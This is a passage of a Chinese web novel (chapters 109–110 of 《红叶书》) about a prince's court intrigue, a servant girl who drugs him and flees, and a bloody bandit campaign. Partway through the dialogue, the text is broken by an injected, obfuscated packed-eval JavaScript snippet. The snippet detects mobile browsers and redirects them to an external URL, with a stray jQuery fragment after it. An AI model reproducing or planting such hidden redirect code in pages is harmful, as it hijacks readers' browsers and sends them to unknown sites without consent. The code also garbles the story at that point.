皇帝顶着梁风的眼神两步靠近,“阿风,你不是朕迫于无奈而做出的选择,不管是现在还是你八岁那年,你都从来不是。但你往后绝不能如此轻易就动恻隐之心,否则即便拥有了军队也难以守住。” 梁风直视,皇帝坦然让他看,可那双眼睛里的颜色与情绪他始终看不明白。 “如果有一天,我对你没用了,你会怎么做?” “亲情的维系胜过一切,兄弟之间,不会有那一天。”皇帝抓住他的手臂,力度不轻不重,“阿风,很多事情,你需看轻。” 看轻?看轻还是看清?他心里清楚有些事情是他妄想,梁风甩开手,后退一步,道:“我现在就要见到她。” 皇帝皱眉沉吟许久,才颔首,“好。” 梁风不带随侍,独自骑马在后跟随皇帝轿撵入宫。 穿过未央宫门,他仿佛忆起早已遗忘的画面,多年前第一次入宫,也是梁戟带着他,那时同乘一车。 他在外臣候朝的殿内等候,他不便踏进后宫,只能等母亲过来。 在屋里坐不下去,殿外皇帝站在不远处和夏培嘱咐着什么,梁风留意通向后宫的那条宫道,巴望母亲的身影。 没等到母亲,却看到了与義急急走来。梁风还看见了与義身后跟着的崔敬先。 敬先也看见了他,匆匆一瞥。与義向他行了礼,便走去跟皇帝说什么。 说的什么他听不清,也没兴致去听,却注意到敬先时不时偷偷看他。 他有疑惑,但无暇多顾。不多时,母亲的身影在宫道尽头出现,引去了他全部注意力。梁风急忙小跑过去。 “风儿?” 邓氏模样比他还焦急,拽住他衣袖便道:“怎么突然进宫来了?陛下不喜你进宫的。” 母亲还是年初时见到的模样,没有变化,气色还算好,看他的双眼有神且慈爱,走路时的步子也不显虚浮。他临时说要进宫,母亲没太多时间收拾,这副样子,应当就是她平时在宫里的模样。他稍放下了心。 “这个时候不来看看,往后怕都没机会了。” 邓氏皱眉责怪:“瞎说什么呢。” 梁风回头确认一眼皇帝的位置,再道:“您如今还在林昭仪宫里?” “是。”邓氏道:“或许很快就不是了。陛下欲扩充后宫,我很可能调去别的宫里。”邓氏攥紧梁风袖子小声道:“我听人说,陛下扩充后宫,好像是为招揽什么人。” 梁风有点生气,“您一个人在宫里,瞎打听这些干什么?” “或许能帮上你呢,你在宫外也没旁的人,我刚听说这个事儿,你就进宫来了,招揽的人似乎跟军营里有关呢。” “您别打听这些,我进宫是想看您过得好不好,若是在林昭仪宫里住不惯,我就向陛下请旨,调到别的宫里去。”梁风道:“最好是能安排您单独住一宫,这样就不用伺候别人了。” 本身他一个王爷,自己母亲竟然伺候别人的妃子,这说出去像什么话。 邓氏却皱眉,“用不着。林昭仪人很好,我在这宫里也能有些事情做。” 梁风还想说什么,听到身后靠近的脚步声,只能把话咽回肚子里。 邓氏立刻松开梁风,恭恭敬敬向皇帝行礼。 “应和王说起这个事,倒是朕疏忽了。”皇帝向邓氏道:“即日起,你便搬去暖阁,一应吃食行住按郡国太后规制,未央宫到甘泉宫范围内自由出入,朕再配予你几个丫鬟,你在宫里安心住着,前朝的事便不用操心了。” 邓氏惴惴不安地看了眼梁风。 梁风没说话,心里想着暖阁的位置不在后宫,且靠近朝殿,在二楼甚至能看见每天上下朝的官员,这便于皇帝监视母亲的动静。她的活动范围看似变大了,实际是变小了,更别说若是没有通传指令,母亲是否能离开暖阁都难说。 “哦,邓氏在宫里可以常去太后寝宫走走,她老人家倒是希望平日里能有人和她多说说话。” 梁风还是不说话,当今太后,是在梁戟登基后从越国接至京城的,记得是个寡言和蔼的人。 皇帝看着他,直接道:“应和王对朕这安排可还满意?” 他犹豫着点了头。 皇帝示意一下,夏培便领着母亲去暖阁。 梁风目送母亲离开,皇帝道:“穿上我送你的那副铠甲吧,那可是寒铁打造,坚不可摧,别浪费了。” 说完,皇帝向寝殿走去,周围隔远的一群太监追上尾随其后。 梁风有点不踏实的感觉,站在原地没动。 “皇叔!”身后与義喊了声,“您先别走。” 崔敬先当先跑来,着急道:“将军,你可有收到我父亲从前线传来的消息?” “没有。”梁风摇头,“出什么事了?” “我不确定,宫、我......宫里风声说陛下疑心我父亲挟兵叛变。” “叛变?!” “对。”与義道:“上回我听三皇兄说起这事,崔将军已经出征几个月了,却始终未有任何捷报传来,父皇怀疑崔将军有意与朝廷断开联系。” “这怎可能。一支军队人数众多,怎可能仅凭崔将军一人便可完全断开联系。” “可是我担心......” “我知道你的担心。敬先,皇帝做事不会让你知道的,他若真怀疑崔将军的衷心,便越是不会表露心迹,更不可能通过与棣之口让你知道这件事。皇帝之所以透漏风声,就是为了看你反应。你要沉得住气,不能给皇帝抓住把柄的机会。” “我明白的......你好不容易进宫,我好不容易把消息传达给你......” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839843|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敬先眼睛里的茫然无措和局促,全然不似从前在军营时的样子。梁风紧紧抓住敬先的肩膀,“之前也有过这样的事情,我以为皇帝什么都不知道,但他实际早就走到了我前面。你一定要冷静,你在宫里的行事,直接关系到你父亲在前线的境遇。” 崔敬先还有很多想说的话,但什么都没说出口,缓缓垂下了头,“我知道了。” 敬先和与義注视着他离开。 梁风牵着高大的黑马回王府,一路上想很多。皇帝亲自领着他进入未央宫,这一举动在相府眼里不知意味着什么,还有皇帝的话,崔固的处境,以及越来越近的王府内他不知道该怎么办的金絮。一旦他离开京城,根本放心不下金絮和李晟在府里的安危。该不该把她转移到别的地方去? 距离王府还有一条街,梁风拐了个弯,到匠铺请人去府里改造厨房,他想在竹苑建一个小厨房,方便府里那几个人做点小菜,也好打理。 他让铺主多配几个人手,定好工期,要尽快。 带着数名瓦匠回到王府,匠工们惊叹于王府内的宏伟与摆设,梁风在嘈杂的讨论声中向竹苑走去。走到一半,闻声赶来的老李看了看他,又看了看身后一群工匠,“王爷这是......” “原本的厨房太大了,我便想着在竹苑建个小些的,你平时也好打理。”他向四周看看,“她呢?” “在房里呢。” 梁风在竹苑内察看一圈,选定一座单独隔开的厢房改做小厨房,匠工们便着手开办。 梁风向李晟道:“府里有其他需要修缮的地方就一块办了,不用拦着他们进出,建成前的几日让他们住在府里也行,有什么要购置的给银子让他们自己去买。” 工匠们看好厢房布局,已经开始搬拆东西。李晟应道:“是。” “另外我还想把我房里床上那些东西换一套,不要那么软。你去选几个绣娘,亲自选,我要现织成的。” 李晟边听边点头。 梁风继续道:“不要用丝绸,用粗一点的布料,绣娘也别挑资质十分深的,手艺过得去就行,只是选一个年纪跟金絮差不多的。” 老李听懂了,“王爷是想把金姑娘的户籍换了?” 梁风颔首,“有合适的绣娘我想买下来。”建厨房只是掩人耳目,趁这几天府内人多进出较乱时把金絮户籍办好才是首要。 “可这样金姑娘就是奴籍了。” “奴籍不要紧,以后还能再改回来。” 李晟摇头,“即便改回来,户籍上被卖过一次的痕迹是消不掉的。” “那怎么办,我总不能生造一个户籍。” 老李想了想,问道:“换出户籍的姑娘该如何?” 梁风慢慢地说:“一直留在府里,直到她去世。” 老李连连摇头。 梁风也知道这很不合适,仅仅为了金絮,就要另一个人舍弃自由与人生,这太不公平。 “王爷,其实用不了这么麻烦,直接去黑市上给金姑娘买一个户籍就成。” 梁风摇头,“这太不保险。” 相比买的造假籍,肯定是跟真人换籍更安全。 “那便买个假籍给那换出的姑娘。”李晟道:“过个一两年,金姑娘长大了,再将奴籍消除,留下痕迹便留下痕迹吧,只能这样了。” 梁风眨眨眼,说定了,没想到这么快就说定了,还以为会和老李再商量一下,他道:“那,就这样......往后只要不出什么事,不会有人查的。” 李晟便准备着手去办,梁风忙补了句:“让她这几天待在房里不要出来。” “您放心,这一月里,她不曾踏出过房门。” 梁风愣了一下,“哦......” 直到老李消失在视线里,他才回过神来。 工匠们进进出出,梁风想去看看金絮,但犹豫一阵,还是没去。 他特意多留了几天,李晟用了两天时间找到了五名绣娘。老李很周全,找的绣娘从十三岁到四十岁的都有,手艺参差,每人只负责床榻织物的某一部分,并不是整套交由一人完成。 那名十三岁的绣娘叫晓花,无父母,自小跟在老师傅手下学织绣。老李就是单独从老师傅那里买下晓花,并很快托人从黑市买了一张假户籍,改为晓花的名字。此后这张户籍,不到她离开王府不会再还到她手里。 调换户籍的事,梁风是瞒着晓花的,也不会让晓花见到金絮,等晓花想赎身的时候,他用卖身契和原户籍到相府就可以换为一张新的,这样她们两个的户籍就都是真的了。 梁风对最后做成的床榻与建成的厨房表示十分满意,重重赏了所有的绣娘和工匠,大家交口称赞,待称赞跨出门槛,王府重新回到了原先寂静无人的模样。 夜里,他拿着晓花的户籍去找金絮。 她屋中不亮灯,敲开门,金絮换下了白衣,穿着黑色,月光照过来,只看清她一张白兮兮的脸。 “你的。”他将户籍递给她。 金絮接过看着,没说话。 “以后你叫晓花了。” 她眼底浮现一股月光盖不去的哀愁,她平静地叠好户籍,收下,“谢谢王爷。” “你......”梁风踌躇一顿,“你之后要待在房里,尽量别出去,等我这次收服匪乱回来,我会送你出京城。” 她似乎想着什么,片刻抬起头问:“王爷要去收服匪乱?” “嗯,不确定什么时候,不确定多久,你......你放心,府里的事情,老李都会安排好。” 她晃晃脑袋,“我会好好待在房间里的。” 夜风沉默地刮了几场,梁风道:“那你早点睡。” “嗯。” 房门阖上,梁风不好久留,也回房了。 109. 《红叶书》(二九) “老李,我很不安。” 梁风坐在新铺的床榻上,榻板很有力地支撑起他的重量。 “不知道以后会怎么样。” 老李道:“走一步看一步,尽人事,听天命。” 梁风仰头倒下,往床上大字一躺。 “王爷,李婶留在了府里。” “嗯,我知道。” 老李又道:“李婶还担心金姑娘喝的药伤牙,给她做成了药丸。李婶做事细致,由她照顾金絮,王爷能放心了。” 梁风侧头,“她喝什么药?” “安神的,听李婶说,金姑娘常常梦魇。那药我也吃,年纪大了不好睡,倒是不伤身。” 老李边熄蜡烛边道:“至于金姑娘膳食,我是想安排她搬到李婶的院子里,与药房挨着,膳食就由李婶负责,没人时她们还能说说话,其他下人就尽量少往李婶院子里去。” 梁风点头,没什么别的要交代的了,便道:“那我明天回军营去了。” “嗯。” “过年可能不回来了。” “嗯。” 军营内一如往常。 脱离王府的寂静,校练场士兵操戈呼喝,耳目所及变得整齐喧嚣。 巡视过后,第一件事情是再调笔钱给新兵的饭里加几块肉。 他盘算那些黄金,军政花费太高,上万的人口,三千两黄金吃不了几次,哪怕仅仅是用来给碗里添两块肉。 副将又在他耳边叨叨叨:“将军,真正悍勇的将士只有通过最艰苦的训练才能诞生,偶尔的享乐只会出现偶尔悍勇的士兵!” 吃两块肉就是享乐了?但这个建议他听进去了,他肯定是不能老向襄国伸手要钱,尤其是皇帝表露出要给他更换藩地意图的情况下。 “享乐?” 大帅营帐被人唰地掀开。 “最擅享乐的怕是将军自己吧。” 梁与丕未请示便擅自闯入,怒容明显,甩了几本军报在梁风案上,“本宫真是受够这些错字别字了!年关将至,京内盗窃案频增,将军倒是会挑时候休沐,还一连休了好几天。” 对太子这态度,梁风也不气恼,解决了金絮户籍和母亲住所这两件大事,他看与丕都顺眼起来。 “真是麻烦你了。” “......呵。” 梁风翻开一本军报,“军中几个人读过书、会写字?意思表达清楚算不错的,我都看惯了。” 刚入军营时,他也看不习惯,会认真拿红笔把错字挨个圈注修改,后面军务实在太多,没了耐心,错字也当正常字看了。 与丕重重一哼。 梁风道:“等崔将军回来,便能分担军务了,常写错字的那几个人的军报你别看就是。” “崔固?”与丕面色沉沉。 梁风起话头:“崔将军此番出征凯旋,想必即将升为太尉,他对军营管束经验比我深厚,军务分派肯定会更平衡些。” 母亲跟他说的话,他想了很久,军营内部任免权不在他手里的职位仅有几个,其中太尉一职是他远远不能触及的。三公之一的太尉,位列两千石以上,人选只能由相府东曹决断。他想借太尉一职,通过与丕的口风打探一下崔固的事情。崔固是太尉最佳人选。 “太尉......”梁与丕思索着突然一笑,“崔固半点消息没有,说不定是被匈奴打得全军覆没了,还等得到他回来平衡军务?” 这话听着太过碍耳,他用力捏一下毛笔泄出情绪,道:“我倒不这样悲观。或许崔将军是用计,麻痹匈奴,掩藏自己真实意图。” “是么?可我听说,崔固从前作战从未像此次,一连数月不传任何捷报抵京,谁给他的胆子。” “危急关头,更换战略也是常有的事......” “一战持续数月甚至数年,战略哪能轻易更改,一个谋略要想各方细节落实到位,须得在出征前就做好准备,崔固对战争的理解想必不至此。”梁与丕似笑非笑地打量梁风,“说不定等消息传来,那几千精骑的刀尖已经指向京城。” “你看看你说的是人话吗?!”梁风拍案而起,“崔将军带兵作战数年,哪一次不是完败匈奴?结果被他守护的家国怀疑是否衷心。你从未带兵打过仗,才会说出如此令人寒心的话!” “将军倒是打过仗,却会说出一时处于下风而紧急更换战略这等反智的话。”与丕讥笑,“是否打过仗也不能改善一个人对于战果的预测。” “你......”梁风怀疑可能是撞枪口上了,这套话不是个好时候,本身与丕就是带了情绪进来的。他把那几封军报甩回与丕身上,“自己看!” 两本掉在了地上,梁与丕一只手捻着剩下几本复扔过来,撞翻了笔架,“盖印!” 梁风用力拉开柜子,取出锦盒里的军印,看完军报内容后,卷末用力一盖,哐哐声响,捶得案几上下震颤。 “为何历朝历代的文官与武官总是不对付,我算是明白了。”盖完印,梁风再次把军报甩回去,“拿去!” 与丕扭头就走,身后的下属忙不迭地捡起再跟上。 梁风冷哼。 和与丕的相处似乎越来越容易动气。身边年龄相仿的人中,一个说得上话的人都没有,他不由忧心起敬先和崔固。 之后天气愈发寒冷,过了几天,第一场雪下来。 他加大了京城城墙内外辟巷暗街的巡逻兵力,最大程度避免偷盗与抢劫,为过年做好准备。 他偶尔写信回府,询问王府用度是否充足。老李说府内开销少,让他不用费心。 直到十二月,天地银装素裹时,朝廷下颁一道旨令: 禁止民间私铸铜币,有发现举报者,赏金一万。 旨令有言:各地富商巨贾对于私纳的矿山只有开采权,开采后铜铁的加工冶炼尽数交由官府进行,私自锻造者,罚没家产五成。 旨令颁布,京城内没什么动静。 梁风听说这件事,特意去查了查,以京畿一带为中心,周围数百里没有矿山,开采铜矿的山脉多在南部和西北、东北地区。这道旨令下达,他感觉不到生活有任何变化,而京城百姓对此最关心的,是自己手里的铜板换成官钱能值多少。 南边的匪乱怕是更严重了。 这道旨令所产生的失业流民只会壮大氓匪的队伍。 看来成立北军的事情希望很大,梁风抓紧了对新兵的训练。 天佑二年,正月。 新年新气象。穿过街道时,时不时能听见小孩嘻嘻哈哈和扔放鞭炮的弱响。 梁风很忙,忙着筹备宫里年初筵席的安防守卫和防火防灾的部署,几乎没时间回营,去王府看看的念头更是空想。 大年三十,宫中大摆筵席,邀请百官,与民同庆,既是欢贺新年,也是恭祝陛下顺利登基。 梁风作为应和王参加,坐在百官前列,母亲同席。 奏乐靡靡,与宴者互敬,中央舞姬水袖纷纷,丰富的色彩与不整齐的动作看得简直头晕。 母亲和他说新年快乐。 那种单独的,只对他一个人说的恭喜,终于从母亲这里听到。 但这顿饭吃得并不专心,也不痛快。 下属不时来禀,几处拐角发生踩踏,还有数条街道的小民房因鞭炮的火星意外走水。积雪尚厚,火势烧不起来,只有一处房子烧得大了些,离未央宫还近,站高了能看到火光。下属向他禀告,以防皇帝问起。 做尽了一切预防,仍是发生意外,他简直没脸接受皇帝问话。 而皇帝淹没在一声声祝福与吹捧之中,显然没空搭理一场小火灾。 年后,他仍忙得脚不沾地,既要收拾这场宴会的残留乱象,又要稳定京城治安。 二月份,去年新增的铜铁赋税初见成效,各地收纳的铜币通过航船水路在太南汇集,统一运往京城。梁风亲自去太南,负责带兵接收这批钱,护送至朝廷。 这批铜钱比他想象中多,粗略一数,起码十几万。冬后开春,是盗匪最猖獗的时候,这笔钱送过来的路上一定险象环生。他揣摩皇帝的意思,这件事交给他,估计是怕层层克扣,首先怕的就是太南郡守。 那这笔钱会用来做什么?为崔固提供后援?朝廷其实并未当真怀疑崔固?也或许不是,不是每一笔钱都会用于军事。 铜钱平安地送到大司农手里,京城中基本无事再需他逗留。 到军营两天后,崔固终于有消息传来。 手持谍报的斥候策马急速穿过军营,梁风听见了崔军战果。 捷报送来时崔固已在返程路上,且即将到达京城。战事不算大获全胜,崔固与匈奴两败俱伤,匈奴承诺三年内不再来犯,代价是崔固麾下精骑死伤近半。崔固还活着。 又过两天,梁风接到圣旨。旨意内容是命他十日后出征收服匪乱,随圣旨附带的北军兵符,一并交到了他手中。 手握圣旨的瞬间,他忽然想通了,那笔钱并不是用来支援崔固,而是给他收服匪乱的,难怪皇帝去年跟他说的事情今年才正式下旨。 三月初,梁风亲自迎接崔固。 人数骤减并伴有伤残的军队仍然整齐肃穆,在梁风随行下,全军安置在驻兵区。崔固一言不发,身上的伤经过休养已经见好,却未多做休整,隔日便入朝回禀。 梁风本想叫他再多休息一天,崔固不听,执意即刻上朝。 可是崔固这一走,再未到军营中来。 梁风没等到崔固,等来了另一消息。 崔固上呈军报后,向陛下请旨欲告老还乡,辞去军中一切军衔与兵权,只为换回被皇帝拘留在宫中的崔敬先。 然后崔固离开未央宫,径直回了崔府。 与丕说,原本相府准备追究崔固迟传军报的罪责,但崔固给出了解释,目前相府尚在议论,陛下态度也很模糊。 梁风心里紧张起来,愈发觉得不对。去年也是这样,整个朝廷要对金延守的罪行作出判决时,皇帝下旨将他调离京城。等他回京,金延守已经死了。 他赶紧入城,去见崔固。 崔固对他的到来并不吃惊,甚至还有闲心邀他坐下喝茶。 “我必须要敬先回来。”崔固道。 “我戎马半生,自认行事端正,却没想到这端正的结果是我儿子被关在那鸟不拉屎的地方。” “发生什么了?”梁风问。 “我麾下被人插进了奸细,开战后想对我放冷箭,被我发现了。” 梁风一惊,“什么人安插的奸细?” “还能是谁?要么是皇帝,要么是游照同,反正是那群文官的人。”崔固恨恨地一拍桌案泄气。 梁风无法理解,“为什么要杀您?杀了您没有任何好处。” 军中再也找不到第二个与匈奴作战经验达到崔固这种程度的人。 “可是留着我却有坏处。无论是功高震主,还是单纯想除之而后快。如今是知道那群文官的意思了,我若再让敬先留在那皇宫里,我枉为人父。” 梁风想到皇帝夺权时,和林怒作战的就是崔固,且害得林怒断腿无法再上战场,皇帝只怕还记恨在心。 梁风问:“陛下还会想杀您吗?” “应当不会。那群文官就爱用这种下三滥的手段,若是我儿在宫里有个三长两短,我定不罢休。” 与匈奴对战之初,军中出现匈奴奸细,意图里应外合、泄露军情。崔固发现却找不出这人,便封禁全军消息,一边作战一边还要费心抓出内奸。等到战事结束,内奸被处死,却已然入冬,大雪封山,鸽鸟无法飞越,军情的送抵只能等到来年开春。 这是崔固在朝会对自己迟发军报给出的解释。 皇帝应当愿意接受这样的解释,崔固已经平安回京,若是细查奸细一事,只怕皇家颜面无存。 梁风担心崔固在京城遭遇刺杀。虽然这几率很小,且以崔固的武艺,寻常刺杀不用放在心上,但他总会后怕。 “敬先在宫里也很担心您。”梁风道:“我也上折子请求陛下放还敬先,但您或许不用辞去军职。” 崔固摇头,“不交兵权,朝廷不会放过敬先,这我心里清楚。往后军营上下就交给你了,哦,还有太子。” 想到与丕,梁风直晃脑袋,“太子殿下心思不在军中。”想想简直前路渺茫。 “陛下真的不会杀您吗 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片刻,听见她应了。里间门缝亮出微弱光线,他循光走去。金絮看见他道:“王爷回来了?”她在里间点了两支蜡烛。这里没有窗户,点蜡烛不会被外面看见。 他不好说什么,点了点头。 金絮从柜子里取出一个东西,是个小指大的木片。 “这是我自己做的平安符,送给王爷。”她道:“希望王爷凯旋归来,一切平安。” 梁风看见上面刻了平安二字。木片就是普通的木片,可能是她随处捡的,表面尽可能磨得光滑,字迹也刻得端正,还涂了颜色。 “谢谢你,我会贴身保管的。”幸好他回来了,不然她岂不是没法送出去。 “等我这次回来,我就送你离开京城。” “去哪里?” “还没想好,但肯定离京城不远。” “王爷喜欢京城吗?” 这个问题他仔细想了想,说:“不能算完全喜欢,但它有它的迷人之处。” “迷人......”她抬头望着墙壁,“也是啊,京城过年气氛很热闹,鞭炮响得我睡不着。” 梁风认同,“是有些吵闹。”转念一想,这里几乎是王府的正中心,街上的动静能吵得到这儿吗? “王爷饿不饿?我这有枣泥糕,小缃做的。”她说着便起身走去外间,很快端来一盘糕点。 是三块方形的红色枣泥糕。梁风吃过饭了,本想婉拒,但她已经端了来,便吃了一块。 入口发甜,软糯易嚼,中间夹了不知名粉末,再咬两口尝到苦味,他还挺新奇,以前没吃过,不知道这枣泥糕原来是苦的。 苦甜苦甜的,莫名味道还不错,他一口气吃完了。 “挺好吃的,你若是喜欢,便让小缃常做。” 金絮眨眨眼,看他的眼睛不自觉下移,“嗯......” 相顾无言。夜已深,在她房里不好说什么,她也应当要睡了,梁风便准备说晚安。 “王爷,谢谢你。”她突然道。 “干嘛说这个,用不着谢。”他摆摆手,再向她看去,她变成了三个。 “嗯?......” 尚未反应过来,眼前骤然漆黑,梁风睡着了。 直到被虎口处一阵钻心的疼痛刺醒,眼睛还没睁开,便感到极为强烈的头晕和困倦,压得他难以清醒。 “王爷?王爷!”老李的声音。 手臂不受控地抽搐,疼痛加深,仿佛针刺的不是手掌,而是大脑,梁风反射般睁眼,被迫醒了。 “您醒了?” 最先看清的是老李焦急的脸,脑子还不清醒,随即感到嘴巴湿乎乎的,满嘴腥气。 李婶缓缓将针退出,整只手臂的麻疼立即消失。他撑了会儿,意识清晰一些,脑袋还是很重,再倒头还能睡着。 “王爷是怎么了?为何突然吐血晕倒?莫不是有何隐疾?”老李问。 血? 他甩甩头,看见胸口确实有一片血迹,拿袖子抹嘴,袖子上也是血。 “我没事啊......” “李婶再检查检查。” 梁风环顾一圈,见老李身后站了几个下人,问:“金絮呢?”睡着前不是还和她聊天来着。 李晟面色一变,回头看了看,又看看梁风,再对众人说:“王爷已经没事了,你们歇息去吧。” 下人们散去,梁风这才发现他还在金絮屋里,还躺在地上,他慢慢反应过来,“她人呢?” “不在了......刚才姑娘突然说您吐血晕倒,我......我无暇顾及她去了何处。” “什么时辰了?”他爬起来。 “快子时了。”老李道:“您晕了近两个时辰,我不确定她是什么时候不见的。” “应当还在府里。”梁风和李婶道:“李婶你先歇息去吧。” 梁风和老李一间房一间房地查看寻找金絮,直到天亮,全府上下不见金絮身影。 “她跑了?不可能。” 天边晨曦微露,梁风在府门外,四通八达的街道更不见金絮。 “她竟然给我下药......”残留地药力使脑袋胀胀地发困,他此刻一闭眼就再次能睡着。 李晟微微一叹,“王爷,是我疏忽了。” “不是疏忽的问题,是她能跑到哪里去?就这一晚,她能在哪里躲过宵禁?” 李晟无言。梁风又把附近几条街道走了一遍,仍是没找到金絮,而他不得不去军营了。 想到她在府中,却时刻希望能逃出去,一边还要应付他,梁风焦急又无奈。 “我说了会送她离开,她又何必急这一时。” “您先别担心,金姑娘身无分文,独自一人跑不了太远。您回营里去吧,说不定金姑娘触犯宵禁已经被抓去了呢。” 这提醒了他,梁风立马赶回军营。结果下属报说,昨夜一整晚未有人触犯宵禁。 不能贴告示大肆寻人,可能真的找不到她了。 他想起她昨夜说的话,金絮或许已经不在京城,还有模模糊糊睡着前,她似乎说了一句对不起。 110. 《红叶书》(三十) 饶是担心金絮,也得在听不到她消息的第二天带兵南下。 皇帝命令中,此征目标是罗霄山脉到南岭范围匪乱,以招安平定为主,而非剿灭,陛下希望留活口。 匪乱收服一般是先以规模最大实力最强的一条线为首战,做威慑之用,以儆效尤,其他地区的山匪听闻风声,部分胆子小的会主动向当地官府缴械。 实力最强,也代表最远最麻烦。副将和梁风说,预计路上行军比实际收服花费的时日更长,无需带太多兵,哪怕人数处于劣势,区区山匪也不可能比得过训练有素的士兵。 但梁风考虑到,北军接受系统且严谨的训练不过数月而已,未必就比山匪强多少,他决定点兵六千,副将随行,另配一千人携带辎重粮草。 轻军简行,脚程很快。第五日行至太南,他不忍看满目疮痍的残城,绕了远路。 崔固和他说过,行军时为不惊扰民众,每每路过郡县都行远路绕开。 实际上军队不扰民根本不可能。站前筹资,战后抚民恤兵,哪一项与民生无关,仅仅是绕了点路,就能叫不扰民了?虽这么想,但他能做的只有绕路了。特意在事先规划时选了多山少城的路线,尽可能全军踏过无痕。 翻越秦岭后便出了京畿地带,官道缩窄,队伍拉长。然而出乎他意料的是,越往南走,气候越潮湿,雨水增多,山上遇到泥石流的几率增加,不仅易造成人员伤亡,还拖慢脚程。 到底是经验不足,出发前也没把路线图交给崔固过目。 梁风加大前方斥候探查人数,尽力避过天灾。 一月后,队伍中有部分人水土不服,病倒了。这是身体素质不够强悍的表现,梁风转而庆幸自己在越国住过几年。 预计两月的路程,就这样行了两月半。 小满时节,终于深入罗霄山脉。 梁风首先和当地官府对接沟通,郡守知他是首次战匪,便提议收服匪乱的第一战必须见血,且是见大血,否则难以起到威慑效果。 梁风有些犹豫,陛下的命令是留活口。 郡守还告诉他,南岭到罗霄山一脉,大小山寨近百座,其中最大的山寨人数已达三千之众,匪首出行前呼后拥,排场堪比个小皇帝。他们对各地县城,尤其是偏穷困的县,烧杀劫掠、强抢妇孺的手段毫无人性可言。 巨大的压迫下,各县百姓爆发式起义,有的叛民结队自发与山匪作对,有的却是针对官府。年后这几月里,郡守和附近县丞扑灭的叛民作乱案件,大小规模近五十起。 而官府面对的压力不光是叛民与山匪,还有商贾。禁止民间私铸铜币的旨令下达后,那些不满的商贾富户,对佃农的剥削达到了令人发指的程度。 郡守原先以为梁风这趟亲自南下,会顺带送些银钱援助,结果没有,便希望梁风能根除山匪之乱。 “将军,此处离京城实在太远,您是剿灭山匪,还是招安山匪,全凭捷报如何下笔而已。” “将军,往常朝廷援助边远郡县,多是送来金子或铜钱,而这次却劳动您带兵出征,您可知是为什么?是因为不管多少的铜钱,在送来前就已被层层瓜分干净。” “我为安民心,向百姓许诺年初时便能收到朝廷拨款,然而根本等不到这笔钱,徒增民愤。不光民愤,我也愤。” 梁风想到前不久他在太南护送的那笔钱,他以为是为了防着太南郡守,可是送到太南再贪未免晚了,那些钱是已经被贪完了才送到京城的。 这或许才是崔固厌恶文官的真正原因,他此刻再看遥远的朝廷,也觉面目可憎起来。 兵匪一家,兵可以代表朝廷,朝廷和土匪没有任何区别。战马的每一道蹄印,留下的都是血坑。 梁风答应剿灭土匪,和下属连夜制定战略。 官兵的主要优势在于马匹,分两队骑兵,一队成围潜伏上山,一队外围杀漏,其余步兵埋伏在下山逃亡的路线。 “见一个杀一个,三千人的寨子不用几天就能杀完!”副将道。 梁风看着罗霄山脉图,点了点头。 夜深露重,马蹄震响深山,鸟群结网般逃离。寨子里的人对他们的到来已有准备,陷阱遍布,飞矢与绳网随处可见。照亮山头的火把映着一个个模糊的人影与刀尖,刀尖相撞,撞碎妇孺撕心的哭喊。 各处茅屋柴房被火点燃,高温与干燥裹挟下,他看见一双双乞怜含恨的眼睛,和毫不留情向他射来的暗箭。箭的背后,是匪首粗蛮的身躯。 梁风杀死了土匪头子。他对妇孺同情,妇孺的老大都不会对她们感到怜悯,但凡有一丝不忍,都应该在听见风声后表露出合谈的意思,而不是加紧布置陷阱,害他损失了四五个人。 他没有准备灭火的人,整个山寨快被大火吞尽时,郡守携人赶来救火。 山间有河,火势弱后,救火人弃桶冲入,搜索被土匪劫掠的剩余财宝。 这群没读过书的土匪,比梁风想象中团结,一方有难,竟能做到八方支援。消息传开,更多的土匪涌入罗霄山。山中每一棵树,都染上了血迹。 附近规模较大的山寨就此清除干净,小规模的逃了。粮草尚且充足,但皇帝事先告知他余匪不必相追,首战结束立即返回朝廷。梁风便修书一封送去京城,写明现状,言明立即动身返京。信中未做任何隐瞒,包括朝廷的救济钱送不到这偏僻边远地区的情况。 梁风帮助当地郡守县丞收拾剿匪后的残余势力和影响,军队休整一番,于七月初返回京城,南方的天气也要炎热了。 回过神来时,恍惚发现金絮送给他的那枚平安符弄丢了,不知丢在哪里,不知丢了多久,梁风只好作罢。 和秋天一起抵达上京。 军营中焕新的气氛是令副将惊掉下巴的肃穆与庄严。 三公有了新任太尉。 是孙提的二儿子,年近半百,而孙提已经离开军营。 经过新太尉这几月的纠正与改革,原先梁风一手造成的享乐氛围彻底消失。他不管走到哪里,见到的人都是一副目不斜视、生人勿近、仿佛刻在脸上的严肃表情,不敢稍有松懈。 副将赞不绝口。 梁风瞥一眼道:“是是是,这才是军营该有的样子。” 见过太尉后,梁风隔日入朝呈报。 朝堂气氛更令人压抑,他想到自己那封信,呈了捷报后偷偷溜去看了一眼母亲,然后便抓紧离开皇宫。 不知道那群文官会怎么应付他揭露地方贪污的信。 管他呢。 梁风回府,询问老李是否有发现金絮下落,老李摇头。 李晟说他出征后,崔敬先时常来找他,问有没有信件寄来。梁风正好也想见见敬先,便去了崔府。 崔固交出兵权,保留了爵位,定北侯府宅邸的辉煌并未因兵权卸去而减色,然而门庭冷落。 寂寂风声随着小厮通报吹入庭院,绛紫色的身影快速在院门深处跑来,崔敬先跳跨门槛,抓住梁风就向街上跑。 “走走走,出去玩去。” 呼呼的风声掠过,眨眼便跑到了两条街外,路过的行人三三两两多了起来。 “要不要去泛舟?”敬先跳着走路。 梁风低头看敬先这身衣裳,“这是你娘给你做的衣裳?” “是啊。”敬先抬袖展示,“怎么样?好看吗?一针一线都是我娘缝的。” “哦......”梁风再看一眼,细密的针脚层层叠叠,他移开目光,走两步又看回去,评道:“花色还挺艳。” 绛紫相比亮黄之类倒不算艳,恰到好处的纹饰也点缀适宜,在太阳底下走着,流转的暗纹反照阳光,挺引人侧目的。 “还行吧。我娘说要吸引姑娘,就得穿成这样。”敬先翘起了鼻子。 “姑娘?”梁风眨眨眼,环顾一圈,没见到几个姑娘。 